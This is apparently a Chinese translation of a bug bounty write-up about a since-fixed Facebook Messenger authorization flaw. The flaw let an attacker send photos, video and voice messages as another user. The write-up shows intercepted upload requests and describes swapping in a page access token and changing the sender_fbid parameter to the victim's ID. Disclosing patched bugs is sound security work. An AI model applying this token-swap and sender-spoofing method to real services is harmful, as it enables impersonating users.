Facebook 賞金$7,500的越權漏洞

Facebook 賞金$7,500的越權漏洞

原文鏈接:https://bugreader.com/kbazzoun@sending-message-on-behalf-of-other-users-72

西瓜視頻給出了演示視頻,可以更清晰的看出滲透測試人員的具體操作

描述

攻擊者可以代表Facebook Messenger上的其他用戶發送媒體消息,通過在Facebook頁面上設置受害者管理員/編輯/主持人,然後攻擊者在向某人發送照片/視頻/音頻時攔截信息的請求,然後將授權標頭令牌更改為“Page Token”,將sender_fbid更改為受害者(管理員ID)

前提

這可能允許惡意用戶通過在其頁面上設置管理員(受害者)身份來代表其他用戶發送消息

漏洞復現

首先:

建立兩個用戶,

“Kassem Bazzoun”是攻擊者

"Semi Colon” 是被攻擊者

“Kassem Bazzoun”在他的頁面上使用受害者“Semi Colon”的身份發送內容

Facebook 賞金$7,500的越權漏洞

攔截請求

攻擊者可以在Facebook Messenger(使用Android/IOS)中發送圖像/語音/視頻時獲取這些請求

只需關注Authorization Header 和參數 sender_fbid/to

發送Photos攔截的數據包

<code>POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id
to: receiver_id
Accept-Encoding: gzip, deflate/<code>

發送Video Request攔截的數據包

<code>POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id

to: receiver_id
X-FB-SIM-HNI: 41503/<code>

發送Voice Message Request攔截的數據包

<code>/messenger_audio/a174a21348fb713ab40a796e63232fs0986529693648684848294 HTTP/1.1
X-Entity-Name: USER_SCOPED_TEMP_DATA_orca-audio-1556800271887.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/touch;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
duration: 9811
Authorization: OAuth EAADo1TDZCuu8BANUYHkTMK4SxtTRPbqtIgIuUShTWmsHujjEVIRELxlk5eiZCnA36hSgKl9gjjFJlmuMH3KYy6DlGOhojRZCDHjBZAyMEw0gLut6V4dEFaViofLKELJENiBBjW8SmMZCRho0A6Fq9ZBKXVIuf8nGPZAywnaqjunqwZDZD
X-FB-Net-HNI: 41503
attempt_id: 6529693648683742874
sender_fbid : victim_id
to: receiver_id/<code>
Facebook 賞金$7,500的越權漏洞

Kassem(攻擊者)通過從先前的 Authorization Header獲取令牌並通過GRAPH API EXPLORER生成頁面令牌,將請求的Authorization Header中的令牌更改為他的Page Token

developers.facebook.com

要獲取頁面訪問令牌,請發送以下請求

<code>ACCESS_TOKEN = Token for Facebook Messenger

GET/V3.2/page_id?fields=access_token/<code>

該請求應該返回

<code>{ "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS....." "id": "page_id" }/<code>

因此,用新的替換Authorization Token

注意:你應該為你和受害者管理的頁面生成“Page Token”]

在將Authorization Header轉換為Page Token之後,我能夠代表頁面中的任何管理員發送媒體消息,其中服務器未檢查此標記是否屬於管理員:)如果用戶具有驗證此頁面中的角色(token屬於此頁面),並且未檢查誰生成此令牌!

所以讓我們現在更改參數:)

sender_fbid

表示用戶是向誰發送此消息的參數(SENDER ID)

將其更改為受害者ID(管理員ID)

to

指示誰收到此消息的參數(接收者ID)

Facebook 賞金$7,500的越權漏洞

最後發送請求!

攻擊

我把受害者帳戶(Semi colon)的信息發給了自己!

此外,我可以將消息發送給任何其他用戶,不僅僅是我自己!

想象一下,有人會從您的帳戶向其他用戶發送消息!

Facebook 賞金$7,500的越權漏洞

漏洞修復方案

Facebook通過阻止任何用戶使用“頁面訪問令牌”代表任何管理員(包括您的帳戶)發送郵件來修復此漏洞,因此頁面訪問令牌僅用於代表頁面itselft發送郵件。新服務器回覆:err_code“:”1545003“,”err_str“:”您無法執行該操作。


分享到:


相關文章: